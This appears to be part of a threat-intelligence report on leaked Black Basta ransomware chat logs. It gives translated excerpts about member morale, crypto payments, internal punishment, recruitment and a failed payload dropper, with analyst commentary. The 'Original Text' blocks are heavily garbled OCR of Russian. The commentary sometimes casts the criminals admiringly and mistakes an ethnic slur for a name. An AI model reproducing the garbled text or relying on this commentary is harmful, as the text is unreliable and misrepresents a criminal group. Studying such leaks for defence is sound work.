MOHAN KaK MX pacindpoBbIBaTh?

2024-02-29 15:27:23,
@usernameboy:matrix.bestflowers247.online, [a s
3Hato

2024-02-29 15:27:32,
@usernameboy:matrix.bestflowers247.online, y>xxe He
nepBbIN pa3 Takoe MLy

Regarding NetNTLM hash analysis work, gg directly accepts boy's proposed compensation amount, revealing
generosity and deep trust. boy states previous completion of similar requests, suggesting possession of high
technical skills and practical experience.
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Conversation on Care for Mental Exhaustion and Lifestyle Improvement Proposals

Translated

2023-11-20 13:36:39,
@usernamegg:matrix.bestflowers247.online, he
doesn't know how to do anything

2023-11-20 13:36:54,
@usernamegg:matrix.bestflowers247.online, I'm
saying, here now is a path as long as life
2023-11-20 13:37:36,
@usernamevv:matrix.bestflowers247.online, we'll
figure it out gradually, until | come to a normal
mental state it will be difficult)

2023-11-20 13:37:55,
@usernamegg:matrix.bestflowers247.online, what's
wrong with your mental state?

2023-11-20 13:38:07,
@usernamegg:matrix.bestflowers247.online, you're
killing yourself brother

2023-11-20 13:38:09,
@usernamegg:matrix.bestflowers247.online, every
day

2023-11-20 13:38:14,
@usernamegg:matrix.bestflowers247.online, how do
you not understand this

2023-11-20 13:38:19,
@usernamegg:matrix.bestflowers247.online, you have
apathy towards everything

2023-11-20 13:38:36,
@usernamegg:matrix.bestflowers247.online, you got
nicotine for 20 minutes caught a high and after 20
minutes you have everything again

2023-11-20 13:38:38,
@usernamevv:matrix.bestflowers247.online, yes I'm
just fed up with everything, everything is boring
2023-11-20 13:38:51,
@usernamegg:matrix.bestflowers247.online, change
your lifestyle

2023-11-20 13:38:58,
@usernamegg:matrix.bestflowers247.online, stop
smoking

2023-11-20 13:39:02,
@usernamegg:matrix.bestflowers247.online, go to the
gym

2023-11-20 13:39:15,
@usernamegg:matrix.bestflowers247.online, go out in
the sun

2023-11-20 13:39:22,

Original Text

2023-11-20 13:36:39,
@usernamegg:matrix.bestflowers247.online, Huuero
He ymeeT

2023-11-20 13:36:54,
@usernamegg:matrix.bestflowers247.online, s
rOBOPHO , TYT Ceyac NyTb AJIMHHOIO B XKM3Hb
2023-11-20 13:37:36,
@usernamevv:matrix.bestflowers247.online,
pa3bepemcsa NOCTENEHHO, 1 MOKa B HOPM COCTOAHME
Mopa/nbHOe He nNpuay byaeTt TpyaHO )

2023-11-20 13:37:55,
@usernamegg:matrix.bestflowers247.online, uto y
TebsA C MOpasIbHbIM COCTOAHMEM?

2023-11-20 13:38:07,
@usernamegg:matrix.bestflowers247.online, Tbl
ybuBaelwsb cebs 6pat

2023-11-20 13:38:09,
@usernamegg:matrix.bestflowers247.online, kaxabiin
AeHb

2023-11-20 13:38:14,
@usernamegg:matrix.bestflowers247.online, kak Tbl
3TOro He NoHUMaelLlb

2023-11-20 13:38:19,
@usernamegg:matrix.bestflowers247.online, y Tebs
annaTus Ko BCeMM

2023-11-20 13:38:36,
@usernamegg:matrix.bestflowers247.online, Tbl
NONYyYMA HUKaTMHA Ha 20 BUHYT A03HAK NovMan
6oaporo a yepes 20 MUHYT y Tebs CHBOA BCe
2023-11-20 13:38:38,
@usernamevv:matrix.bestflowers247.online, aa
3aebancs s NpoCTo OT BCErO MO OLLyLLIEHWSM BCe
Hajoeno

2023-11-20 13:38:51,
@usernamegg:matrix.bestflowers247.online, nomeHsin
06pa3 Xn3HU

2023-11-20 13:38:58,
@usernamegg:matrix.bestflowers247.online,
nepecTaHb KypuTb

2023-11-20 13:39:02,
@usernamegg:matrix.bestflowers247.online, nan B
nopT 3an

2023-11-20 13:39:15,
@usernamegg:matrix.bestflowers247.online, cbean Ha
CONHLO
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@usernamegg:matrix.bestflowers247.online, then
come back a different person

2023-11-20 13:39:43,
@usernamegg:matrix.bestflowers247.online, what |
see now ( this won't lead to a good end

2023-11-20 13:39:49,
@usernamevv:matrix.bestflowers247.online, on the
weekend | just sat watching a child play and got more
pleasure from that than in recent months

2023-11-20 13:39:49,
@usernamegg:matrix.bestflowers247.online, * what |
see now ( this won't lead to a good end...

2023-11-20 13:40:40,
@usernamevv:matrix.bestflowers247.online, I'll figure
it out gradually

2023-11-20 13:40:45,
@usernamegg:matrix.bestflowers247.online, what do
you want yourself, think and tell me. If you need a
break again, take it.

2023-11-20 13:41:22,
@usernamegg:matrix.bestflowers247.online, | need an
energetic team leader who will push them forward
and not let them degrade now except jj

2023-11-20 13:41:43,
@usernamevv:matrix.bestflowers247.online, yeah a
break, so someone else sits in my place again, no way
2023-11-20 13:41:55,
@usernamegg:matrix.bestflowers247.online, | want
everything to work there too and | go and invest my
energy there

2023-11-20 13:41:57,
@usernamevv:matrix.bestflowers247.online, * yeah a
break, so someone else undermines me again, no way
2023-11-20 13:42:43,
@usernamegg:matrix.bestflowers247.online, >
<@usernamevv:matrix.bestflowers247.online> yeah a
break, so someone else undermines me again, no way
develop yourself, change your lifestyle, throw away
the pipe, earn respect for yourself.... not all this !
2023-11-20 13:42:45,
@usernamevv:matrix.bestflowers247.online, we'll do
it, we'll figure it out

2023-11-20 13:43:09,
@usernamegg:matrix.bestflowers247.online, don't be
late for work, you're an example for them.
2023-11-20 13:43:58,
@usernamevv:matrix.bestflowers247.online, |
understand all this, but I'm not changing anything yet

2023-11-20 13:39:22,
@usernamegg:matrix.bestflowers247.online, notom
BEPHUCb APYTUM YeNnoBeK

2023-11-20 13:39:43,
@usernamegg:matrix.bestflowers247.online, To uto 5
BUXKY ceryac (37O K XopoLueMy KOHLY He npuBe3eT
2023-11-20 13:39:49,
@usernamevv:matrix.bestflowers247.online, s B
BbIXOZHbIE€ MPOCTO CUAEN CMOTPEN Kak pebeHok
urpaet n 1o 6osbLLe y40BOALCTBUA MOAYHNA YeM 3a
nocnesHve mecaubl

2023-11-20 13:39:49,
@usernamegg:matrix.bestflowers247.online, * To uto
A BMXKY ceryac ( 3TO K XOpoLLeMy KOHLY He
npviBeaer...

2023-11-20 13:40:40,
@usernamevv:matrix.bestflowers247.online,
pa3bepycb NocTeneHHo

2023-11-20 13:40:45,
@usernamegg:matrix.bestflowers247.online, uto Tbl
caM xouellb , noaymMan u ckaxu. Ecim Tebe onsatb
HY>XHa nay3a , BO3bMMW.

2023-11-20 13:41:22,
@usernamegg:matrix.bestflowers247.online, mHe
Hy>XeH 604pbIvi TUMAKAEP KOTOPbIN ByAeT ToaKaTb UX
BMepes a He TO OHW cevac AaM Aerpasvpyro Kpome
i

2023-11-20 13:41:43,
@usernamevv:matrix.bestflowers247.online, ara
naysa, 4Tobbl MOTOM OMATb KTO-TO NOCKAEN, HET YK
2023-11-20 13:41:55,
@usernamegg:matrix.bestflowers247.online, s xouy
yto Hbl TaM TOXE BCe paboTano n ey BKAaAbIBAKD
CBOW CUAbI TyAa

2023-11-20 13:41:57,
@usernamevv:matrix.bestflowers247.online, * ara
naysa, 4tTobbl MOTOM OMATb KTO-TO NOACUAEN, HET YK
2023-11-20 13:42:43,
@usernamegg:matrix.bestflowers247.online, >
<@usernamevv:matrix.bestflowers247.online> ara
nay3a, 4tTobbl MOTOM OMATb KTO-TO NOACUAEN, HET YK
pa3BurBancs, NOMeHsN 06pas XU3HK, BbIKUHb TPYOKY,
BbI30BM yBaXKeHue K cebe.... a He BOT 3T0 Bce !
2023-11-20 13:42:45,
@usernamevv:matrix.bestflowers247.online, caenaewm,
pa3bepemcs
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2023-11-20 13:43:09,
@usernamegg:matrix.bestflowers247.online, He
onaszbiBai Ha paboTy, Tbl MPUMEP ANS HUX.
2023-11-20 13:43:58,
@usernamevv:matrix.bestflowers247.online, 310 A BCe
MOHMMatO, HO MOKa HUYETrO HE MEHSHD

This conversation shows gg proposing rest for mentally distressed vv while encouraging through mixed
reprimands. gg promotes lifestyle improvements and self-esteem recovery for lethargy and fatigue,
characteristically demanding maintenance and rebuilding of leadership image within the organization. Strong
awareness emerges that mental wellness directly impacts team performance and motivation, revealing close links
between psychological care and performance management.

Additionally, vv describes time with children connecting to mental fulfillment, with statements like "most
enjoyable in recent months" indicating family time serves as an important stress-relieving element.
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Conversation on a Busy Personal Life

Translated

2024-04-18 10:51:26,
@usernamegg:matrix.bestflowers247.online, good
morning

2024-04-18 10:51:32,
@usernamegg:matrix.bestflowers247.online, damn
we only parted ways at 8 in the morning
2024-04-18 10:51:40,
@usernamegg:matrix.bestflowers247.online, Europe
is great but takes all your strength at night)
2024-04-18 10:51:46,
@usernamegg:matrix.bestflowers247.online, super,
received

2024-04-18 10:51:49,
@usernamegg:matrix.bestflowers247.online, how are
you yourself?

2024-04-18 10:51:50,
@usernamegg:matrix.bestflowers247.online, wallet
2024-04-18 10:51:53,
@usernamegg:matrix.bestflowers247.online,
payments came through

2024-04-18 11:07:51,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> how
are you yourself? yes everything's good. also going
to bed late. various household matters. well | won't
write about it here

2024-04-18 11:08:57,
@lapa:matrix.bestflowers247.online, <Masked:
Cryptocurrency Wallet> usdt wallet

2024-04-18 11:09:59,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> yes
everything's good. also going to bed late. various
household matters. well | won't write about it here
understood, household bustle is very pleasant
2024-04-18 11:10:04,
@usernamegg:matrix.bestflowers247.online, you
also have such events

2024-04-18 11:10:07,
@usernamegg:matrix.bestflowers247.online, joyful
ones

2024-04-18 11:10:19,
@usernamegg:matrix.bestflowers247.online, * you
also have such events

2024-04-18 11:10:35,

Original Text

2024-04-18 10:51:26,
@usernamegg:matrix.bestflowers247.online, sobpoe
2024-04-18 10:51:32,
@usernamegg:matrix.bestflowers247.online, kanew, Mbl
B 8 yTpa ToAbKO pasowwmn

2024-04-18 10:51:40,
@usernamegg:matrix.bestflowers247.online, eBponna
K/J1acc HO 3abmpaeT BCe CM/bl HOYbHO )

2024-04-18 10:51:46,
@usernamegg:matrix.bestflowers247.online, cynep ,
MPVHSAA

2024-04-18 10:51:49,
@usernamegg:matrix.bestflowers247.online, Tbi kak
cam?

2024-04-18 10:51:50,
@usernamegg:matrix.bestflowers247.online, kowenb
2024-04-18 10:51:53,
@usernamegg:matrix.bestflowers247.online, Boinnatsl
npuwan

2024-04-18 11:07:51,
@lapa:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> Tbl kak
cam? zia BCe XOPOLLO. TOXe MO3JHO JIOXYCb. Aena
BCSIKME ObITOBbIE. HY TYT NUCaTb He Byay

2024-04-18 11:08:57,
@lapa:matrix.bestflowers247.online, <Masked:
Cryptocurrency Wallet> usdt kowenek

2024-04-18 11:09:59,
@usernamegg:matrix.bestflowers247.online, >
<@lapa:matrix.bestflowers247.online> aa Bce xopoLuo.
TOXE NO3AHO NIOXKYCh. AeNa BCskNe HbITOBbIE. HY TyT
nvcaTtb He Byay MOHSA, AOMALLHAN CyeTa 3TO OYeHb
NPUATHO

2024-04-18 11:10:04,
@usernamegg:matrix.bestflowers247.online, y T1ebs ee
1 cobbITnA Takne

2024-04-18 11:10:07,
@usernamegg:matrix.bestflowers247.online,
pajoCTHbIe

2024-04-18 11:10:19,
@usernamegg:matrix.bestflowers247.online, * y Tebs
elle 1 cobbITUA Takne

2024-04-18 11:10:35,
@lapa:matrix.bestflowers247.online, Hy Aa, HO 3TO Mbl
eLle rotToBMMCS)
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@lapa:matrix.bestflowers247.online, well yes, but
we're still preparing)

2024-04-18 11:10:50,
@lapa:matrix.bestflowers247.online, then there will
be even more things to do by many times)
2024-04-18 11:11:35,
@usernamegg:matrix.bestflowers247.online, the
most pleasant troubles, believe me ! we're doing
great, I'm happy!

2024-04-18 11:10:50,
@lapa:matrix.bestflowers247.online, notom elye
6onblie aen 6yseT B pasbl)

2024-04-18 11:11:35,
@usernamegg:matrix.bestflowers247.online, cambie
NPWATHbIE X10MOTbI,NOBEPb | Mbl MONOALLI, pas!

This conversation confirms intimate relationships among members and sharing of personal lives and emotions

after work. gg expresses fatigue from overnight activities in Europe while mentioning USDT wallet for payment

confirmation, indicating continuous financial transactions. lapa references family circumstances while hinting this

signal future increased busyness, demonstrating how members' personal lives potentially affect operational

planning.

Conversation on Reporting Sick Leave and a Supervisor Expressing Concern

Translated

2024-04-08 11:28:34, @manager361:colorado.su,
Hello

2024-04-08 12:16:47, @manager361:colorado.su, You
ready to work today?

2024-04-08 13:53:08, @arslanshabbirmalik:matrix.org,
Hello sir.

2024-04-08 13:53:11, @arslanshabbirmalik:matrix.org,
Good morning.

2024-04-08 13:53:28, @arslanshabbirmalik:matrix.org,
Sir, | apologise. Today | cannot work. Because | have
high fever and soar throat

2024-04-08 13:53:33, @arslanshabbirmalik:matrix.org,
sade

2024-04-08 13:53:42, @arslanshabbirmalik:matrix.org,
Please grant me a leave for one day

2024-04-08 13:54:28, @manager361:colorado.su,
Well, hopefully you'll be better by tomorrow!
2024-04-08 13:54:47, @manager361:colorado.su, Feel
better

2024-04-08 13:56:15, @arslanshabbirmalik:matrix.org,
Yes. Sir. | apologise. | will be alright by tomorrow. |
slept all day today

2024-04-08 13:56:41, @arslanshabbirmalik:matrix.org,
| think | got the mosquito bite.

2024-04-08 13:56:54, @arslanshabbirmalik:matrix.org,
Thank you for well wishes. @

2024-04-08 13:59:22, @arslanshabbirmalik:matrix.org,
IMG_20240408_185903.jpg

2024-04-09 12:59:37, @manager361:colorado.su, Hey,

Original Text

2024-04-08 11:28:34, @manager361:colorado.su,
Hello

2024-04-08 12:16:47, @manager361:colorado.su, You
ready to work today?

2024-04-08 13:53:08, @arslanshabbirmalik:matrix.org,
Hello sir.

2024-04-08 13:53:11, @arslanshabbirmalik:matrix.org,
Good morning.

2024-04-08 13:53:28, @arslanshabbirmalik:matrix.org,
Sir, | apologise. Today | cannot work. Because | have
high fever and soar throat

2024-04-08 13:53:33, @arslanshabbirmalik:matrix.org,
sade

2024-04-08 13:53:42, @arslanshabbirmalik:matrix.org,
Please grant me a leave for one day

2024-04-08 13:54:28, @manager361:colorado.su,
Well, hopefully you'll be better by tomorrow!
2024-04-08 13:54:47, @manager361:colorado.su, Feel
better

2024-04-08 13:56:15, @arslanshabbirmalik:matrix.org,
Yes. Sir. | apologise. | will be alright by tomorrow. |
slept all day today

2024-04-08 13:56:41, @arslanshabbirmalik:matrix.org,
| think | got the mosquito bite.

2024-04-08 13:56:54, @arslanshabbirmalik:matrix.org,
Thank you for well wishes. @

2024-04-08 13:59:22, @arslanshabbirmalik:matrix.org,
IMG_20240408_185903.jpg
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how are you feeling today? 2024-04-09 12:59:37, @manager361:colorado.su, Hey,
2024-04-09 13:48:31, @arslanshabbirmalik:matrix.org, how are you feeling today?

Hello sir. Good morning. Better than yesterday. Sir, | 2024-04-09 13:48:31, @arslanshabbirmalik:matrix.org,

want to work today. Please | send you my voice clip.| | Hello sir. Good morning. Better than yesterday. Sir, |

have a bit soar throat. If the voice is alright for you. | want to work today. Please | send you my voice clip. |

make calls. have a bit soar throat. If the voice is alright for you. |
make calls.

This conversation shows exchanges between manager361 and arslanshabbirmalik regarding absence
notification due to illness and confirmation for next-day work resumption. arslanshabbirmalik reports fever and
sore throat, politely requesting leave while declaring work return the following day, demonstrating sincere
attitude and responsibility. Meanwhile, manager361 maintains stance prioritizing recovery without forcing work,
impressively showing trust and consideration in hierarchical relationships. The exchange reveals flexible
organizational acceptance of personal health management.
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|4.3 Internal Political Issues

Black Basta maintained organizational structures while experiencing conflicts over compensation distribution and

interpersonal relationships. Distrust and internal conflicts among members suggest organizational vulnerabilities,

with such internal instabilities potentially contributing to this chat log leak.

Dissatisfaction with Members and External Collaborators

Conversation on Arrogance Stemming from Financial Success and Its Restraint

Translated

2024-04-19 10:41:48,
@usernamegg:matrix.bestflowers247.online, | paid
him good money

2024-04-19 10:41:59,
@usernamegg:matrix.bestflowers247.online, money
spoiled him

2024-04-19 10:42:13, @nickolas:talks.icu, Well your
approach is also quite harsh )

2024-04-19 10:42:20, @nickolas:talks.icu, Money
spoils everyone, that's how it is

2024-04-19 10:42:47,
@usernamegg:matrix.bestflowers247.online, he
bought an apartment here, apartment there, car for
himself, wife, mom, friend, brother, in-law, everyone
bows to him ) he felt very confident here so | bent
him a little

2024-04-19 10:42:50,
@usernamegg:matrix.bestflowers247.online, he's
home now

2024-04-19 10:43:24,
@usernamegg:matrix.bestflowers247.online, so this
can happen in any collective

2024-04-19 10:43:29,
@usernamegg:matrix.bestflowers247.online, just work
and everything will be fine

2024-04-19 10:43:37,
@usernamegg:matrix.bestflowers247.online, you'll be
fine

2024-04-19 10:43:41,
@usernamegg:matrix.bestflowers247.online, with
people like him who knows

2024-04-19 10:43:55, @nickolas:talks.icu, Yes yes,
need to put them in their place :)

2024-04-19 10:44:46, @nickolas:talks.icu, Alright,
psychological support session is over )

Original Text

2024-04-19 10:41:48,
@usernamegg:matrix.bestflowers247.online, geHbru
naaTun emy xopoLume

2024-04-19 10:41:59,
@usernamegg:matrix.bestflowers247.online, geHbru
ero v ucnopTnan

2024-04-19 10:42:13, @nickolas:talks.icu, Hy y Tebs
TOXE NOAXOZA AOCTAaTOYHO XXECTKUI )

2024-04-19 10:42:20, @nickolas:talks.icu, AeHbru Bcex
Y NOPTAT, eCTb Takoe

2024-04-19 10:42:47,
@usernamegg:matrix.bestflowers247.online, kynut Tyt
KBapTMpy TaM KpBaTpy MalLnHy cebe , XeHe, Mame,
Apyry 6paTy cBaTy , BCE Ha MOKIOH K HEMY XOAAT ) OH
TYT NOYYBCTBOBaN cebs yBEPEHO OYEHb HY HarHy/ ero
HEMHOrO

2024-04-19 10:42:50,
@usernamegg:matrix.bestflowers247.online, soma
Tenepb

2024-04-19 10:43:24,
@usernamegg:matrix.bestflowers247.online, Tak uto
3TO B KaXOM KOJIEKTUBE MOXET ObITb

2024-04-19 10:43:29,
@usernamegg:matrix.bestflowers247.online, pabotain
MPOCTO 1 BCe Aanblue

2024-04-19 10:43:37,
@usernamegg:matrix.bestflowers247.online, y Te6s
BCe OyaeT HOpMasibHO

2024-04-19 10:43:41,
@usernamegg:matrix.bestflowers247.online, y Takux
Kak OH X3

2024-04-19 10:43:55, @nickolas:talks.icu, Aa aa,
HY>XHO CTaBWUTb Ha MecTO :)

2024-04-19 10:44:46, @nickolas:talks.icu, lagHo,
CeaHC MNCcMX0I0rMyeckomn NOAAEP>KKN OKOHYEH )
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This conversation references financial success's impact on attitudes and behaviors. gg states that a member
became arrogant after gaining money, changing workplace attitudes, and reveals taking measures to suppress

such behavior. nickolas expresses similar views, indicating shared understanding about compensation-power

balance within the organization. The discussion addresses vigilance against disciplinary disruption from financial

success and the necessity for control.

Conversation on Sanctions against a Member’s Betrayal of Trust

Translated

2024-04-19 10:33:16, @nickolas:talks.icu, | provided
him with work since 16-17, banks, targets, in short the
guy was riding on my material )

2024-04-19 10:33:21, @nickolas:talks.icu, And then
this)

[omitted]

2024-04-19 10:34:57, @nickolas:talks.icu, That's why
I'll punish him, gradually squeeze him out of current
activities and that's it :)

2024-04-19 10:35:17,
@usernamegg:matrix.bestflowers247.online, be fair
2024-04-19 10:35:41, @nickolas:talks.icu, Yes of
course, | won't be toxic etc )

2024-04-19 10:35:56,
@usernamegg:matrix.bestflowers247.online, need to
show with work and bend him

2024-04-19 10:36:01,
@usernamegg:matrix.bestflowers247.online, that will
be the most satisfying

2024-04-19 10:36:12, @nickolas:talks.icu, yes yes)
2024-04-19 10:36:44, @nickolas:talks.icu, | don't ask
anyone for money or anything ) just the approach
surprised me, some kind of ungrateful attitude,
considering how much effort was put into their
development, and what dedication they showed )
2024-04-19 10:37:01, @nickolas:talks.icu, overall I'll
tell you people are like this, | meet the same ones in
other spheres

2024-04-19 10:37:19, @nickolas:talks.icu, it's just that
here it seems like there's friendship and all that )))

Original Text

2024-04-19 10:33:16, @nickolas:talks.icu, fl ero
paboTou ¢ 16-17 roga obecneumnsan, 6baHku, TapreThbl,
Kopoue roBops NapeHb Ha Moem maTepuane exan )
2024-04-19 10:33:21, @nickolas:talks.icu, 1 Tyt
Takoe )

[omitted]

2024-04-19 10:34:57, @nickolas:talks.icu, Mo atomy
Hakaxy, MOTUXOHbKY BbIMPY €ro n3 TeKyLnx AeiCTBUi
M BCe )

2024-04-19 10:35:17,
@usernamegg:matrix.bestflowers247.online, 6yab
CcnpaBeAnBbIN

2024-04-19 10:35:41, @nickolas:talks.icu, la KOHeUHO,
A He ByayT TOKCUYUTb UTN )

2024-04-19 10:35:56,
@usernamegg:matrix.bestflowers247.online, paboTto
MoKasaTb HY>XHO W HarHyTb

2024-04-19 10:36:01,
@usernamegg:matrix.bestflowers247.online, 3to
cambiv kand byget

2024-04-19 10:36:12, @nickolas:talks.icu, aa aa)
2024-04-19 10:36:44, @nickolas:talks.icu, a > HW ¢
KOro AieHer He NpOoLLYy HUYEro ) MPOCTO NMOAXOZ
YAMBWI, KaKoe TO He 6arofapHoe OTHOLLEHWe,
YyUMTbIBas CKOJIbKO CU BJOXEHO ObINO B NX pa3BuUTe,
M Kakas 6bla1a OT HUX camooTjaua )

2024-04-19 10:37:01, @nickolas:talks.icu, B uenom s
Tebe ckaxy HapoA Takou, f U B Apyrux chepax Takmx
Xe BCTpeyaro

2024-04-19 10:37:19, @nickolas:talks.icu, npocrto Tyt
BpOAe v Apy>ba n Bce Takoe )))

nickolas demonstrates calm yet clear "elimination" stance toward perceived betrayal from a person supported

for years. The approach characteristically adopts practical sanctions of "gradually removing from current work"

rather than emotional retaliation. Meanwhile, gg responds with "crush them through work," revealing
competitive expression through action. Overall, the exchange manifests severed trust relationships and

organizational sanction implementation policies.
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Discussion on the Technical Skills and Reliability of Personnel

Translated

2024-01-27 20:03:23,
@usernamegg:matrix.bestflowers247.online, need a
stronger coder

2024-01-27 20:03:28,
@usernamegg:matrix.bestflowers247.online, | want to
bring that guy

2024-01-27 20:03:32,
@usernamegg:matrix.bestflowers247.online, the
Ukrainian

2024-01-27 20:03:43,
@usernamenn:matrix.bestflowers247.online, he starts
fucking around, we sit working till morning, he's there
sipping juice and doesn't want to do shit
2024-01-27 20:03:49,
@usernamenn:matrix.bestflowers247.online, well
bringing a Ukrainian here is questionable
2024-01-27 20:04:33,
@usernamenn:matrix.bestflowers247.online, well if
you decide to bring him yourself just warn me))
[omitted]

2024-01-27 20:05:28,
@usernamenn:matrix.bestflowers247.online, | don't
know him, who he is, especially a Ukrainian
2024-01-27 20:05:36,
@usernamenn:matrix.bestflowers247.online, | don't
want to show off and enough people already know
me personally

2024-01-27 20:06:18,
@usernamegg:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online> he
starts fucking around, we sit working till morning, he's
there sipping juice and doesn't want to do shit that's
not an argument, you yourself came up with such a
terrible schedule and it's killing your body ((
2024-01-27 20:06:24,
@usernamenn:matrix.bestflowers247.online, if you
need him for your goals and you're not afraid to
personally meet someone from such a sphere that's
your right, I'm against such moves, | decide myself
who to communicate with, | have no desire with
random types from the internet

2024-01-27 20:07:05,
@usernamenn:matrix.bestflowers247.online, I'll work
remotely, not the first time

2024-01-27 20:07:48,

Original Text

2024-01-27 20:03:23,
@usernamegg:matrix.bestflowers247.online, Hago
KoZepa nocuibHee

2024-01-27 20:03:28,
@usernamegg:matrix.bestflowers247.online, xo3na
BCE XOUy NPUBECTU

2024-01-27 20:03:32,
@usernamegg:matrix.bestflowers247.online, xoxna
2024-01-27 20:03:43,
@usernamenn:matrix.bestflowers247.online,
HaunHaeT ebaTb KPYTUTLCS, Mbl CUAUM ebalunm 40
yTpa, OH TaM COK MOMWBAET U HUXYS HE XO4eT
2024-01-27 20:03:49,
@usernamenn:matrix.bestflowers247.online, Hy ctoaa
XOxJa Takoe cebe Be3Tn

2024-01-27 20:04:33,
@usernamenn:matrix.bestflowers247.online, Hy ecan
pewvib caMm Be3Tn npeaynpeamn Toka))

[omitted]

2024-01-27 20:05:28,
@usernamenn:matrix.bestflowers247.online, s ero He
3Hato, KTO OH TaKoW Tem H6osiee XOxon

2024-01-27 20:05:36,
@usernamenn:matrix.bestflowers247.online,
pPYCOBAaTbLCA HE XOUY U TakK AOCTaTOYHO NtOAEN MeHs
y>Xe JIMYHO 3HatoT

2024-01-27 20:06:18,
@usernamegg:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online>
HaunHaeT ebaTb KPYTUTLCS, Mbl CUAUM ebalunm A0
yTpa, OH TaM COK MOMMBAET U HMUXYS HE XOYEeT 3TO He
apryMeHT, Tbl cam cebe Takon YXKaCTHbIA PexXunM
npuayman 1 oH ybrusaet TBOM opraHmam ((
2024-01-27 20:06:24,
@usernamenn:matrix.bestflowers247.online, ecan
Tebe OH HyXeH ANs TBOWX Liesiei U Tbl He HouLLbCs
JMYHO C YENOBEKOM 3HAaKOMUTCS 13 Takon cdepbl 3TO
TBOE NpaBo, A NPOTMB TaknUxX MyBOB, i CaM PeLlato C
KeM MHe 06LLaTbCs, C NEBLIMU TUMAMW C UHETA He
NMEHD XenaHus

2024-01-27 20:07:05,
@usernamenn:matrix.bestflowers247.online,
nopaboTato Ha yAaneHKe Xy He B NepBOM
2024-01-27 20:07:48,
@usernamegg:matrix.bestflowers247.online, >
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@usernamegg:matrix.bestflowers247.online, >
<@usernamenn:matrix.bestflowers247.online> if you
need him for your goals and you're not afraid to
personally meet someone from such a sphere that's
your right, I'm against such moves, | decide myself
who to communicate with, | have no desire with
random types from the internet I'm also against such
meetings! you went to meet with Timka? and with
many others? | feel the situation with the Ukrainian
very well

2024-01-27 20:08:17,
@usernamenn:matrix.bestflowers247.online, well I've
known Timka for fucking ages, besides this isn't
ransom

2024-01-27 20:08:44,
@usernamenn:matrix.bestflowers247.online, these are
one-time meetings not living with the guy and not
letting him close

2024-01-27 20:09:10,
@usernamenn:matrix.bestflowers247.online, and here
it's like letting some guy from the internet into the
house, we don't know what kind of acquaintances and
friends surround him to bring the guy so close
2024-01-27 20:09:14,
@usernamenn:matrix.bestflowers247.online, think
about it yourself it's absurd

2024-01-27 20:09:26,
@usernamenn:matrix.bestflowers247.online, people
on the internet are different

2024-01-27 20:09:28,
@usernamenn:matrix.bestflowers247.online, in real
life they're different

2024-01-27 20:10:48,
@usernamegg:matrix.bestflowers247.online, yeah

<@usernamenn:matrix.bestflowers247.online> ecau
Tebe OH HyXeH ANs TBOUX Liefei U Tbl He HouLLbCs
JINYHO C YENOBEKOM 3HAKOMMUTCS U3 Takol cdepbl 3TO
TBOE MpaBo, A NPOTMB TakMX MyBOB, fi CaM peLlato C
KeM MHe 06LLaTbCs, C 1EBbIMU TUMaMN C UHETA He
WUMEHD XEeNaHus 1 TOXe MNPOTUB TakMX 3HAaKOMCTB! Tbl C
TUMKOM NOLUEN Ha BCTPeUy? 1 eLlle MHOTO C KeM? 1
YYBCTBYHO OYEHb XOPOLLO CUTYaL|MHO C XOX/IOM
2024-01-27 20:08:17,
@usernamenn:matrix.bestflowers247.online, Hy ¢
TUMKOW ebaTb KaK AaBHO e 6bl 3HakoM, TeM 6onee
3TO HEe paHCOM

2024-01-27 20:08:44,
@usernamenn:matrix.bestflowers247.online, 310
pa3oBble BCTPEUM HE XMBS C YEJIOM U He MoAnycKas
6.113K0

2024-01-27 20:09:10,
@usernamenn:matrix.bestflowers247.online, a Tyt
ebaTb B JOM 3anyCTUTb TUMa C UHETa, Mbl HE 3HAaeM
Kakue ero Tam 3HakoMble 1 ApY3bsi OKPY>XKAOT YTO Obl
Tak 61M3KO TaWKnTb Yena

2024-01-27 20:09:14,
@usernamenn:matrix.bestflowers247.online, cam
noaymam 3to abcypg,

2024-01-27 20:09:26,
@usernamenn:matrix.bestflowers247.online, ntoan B
NHeTe pasHble

2024-01-27 20:09:28,
@usernamenn:matrix.bestflowers247.online, B peane
OHW Apyrue

2024-01-27 20:10:48,
@usernamegg:matrix.bestflowers247.online, yry

This conversation prominently displays conflict between gg and nn over acquiring talented personnel (Khozra).

gg evaluates Khozra's technical abilities and shows eagerness to achieve results by adding them to the team,

while nn expresses strong wariness about Ukrainian nationality and real-world contact with unfamiliar

individuals. Meanwhile, gg maintains stance of welcoming Khozra, prioritizing technical merits over rational

judgment.
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Conversation Highlighting Distrust of External Partners and an Internal Focus

Translated

2024-05-14 19:14:18, @nickolas:talks.icu, why need all
these idiots, it's impossible to work normally with
them

2024-05-14 19:14:45, @nickolas:talks.icu, those who
are inside are enough, anyway everything has to be
done by our own efforts, otherwise you ask someone,
then wait half a year))

Original Text

2024-05-14 19:14:18, @nickolas:talks.icu, Haxep
HY>KHbI BCAKME MPUAYPKU, C HUMU HEBO3MOXXHO
HOpMaJibHO paboTaThb

2024-05-14 19:14:45, @nickolas:talks.icu, Tex k10
BHYTPW €CTb XBaTaeT, BCE PAaBHO BCE HaZ0 CBOVMM
CcUiaMu fenathb, a TO NMOMNPOCULLbL KOTO HUBYAb, MOTOM
XAelWb Noa roga))

These statements reveal strong distrust toward external collaborators and preference for self-contained

operations by internal members. nickolas dismisses outsiders as "worthless people" and declares "internal

members alone suffice," demonstrating stance prioritizing trust and responsiveness. The thinking idealizes

autonomy through core member completion, rejecting inefficiencies and delays from external dependence.

Conversation Expressing Frustration over Failure to Evade Defenses

Translated

2023-10-03 17:05:47,
@usernamegg:matrix.bestflowers247.online,
everything's quality

2023-10-03 17:05:54,
@usernamegg:matrix.bestflowers247.online,
everything's at the highest level

2023-10-03 17:05:57,
@usernamegg:matrix.bestflowers247.online, but in
the end | get screwed

2023-10-03 17:06:02,
@usernameyy:matrix.bestflowers247.online, what
happened

2023-10-03 17:06:22,
@usernamegg:matrix.bestflowers247.online, because
nobody can assemble a normal dropper for delivering
our payload

2023-10-03 17:06:27,
@usernamegg:matrix.bestflowers247.online, so much
work done

2023-10-03 17:06:30,
@usernamegg:matrix.bestflowers247.online, but
something detects it

2023-10-03 17:06:37,
@usernamegg:matrix.bestflowers247.online, | don't
fucking know what to do anymore

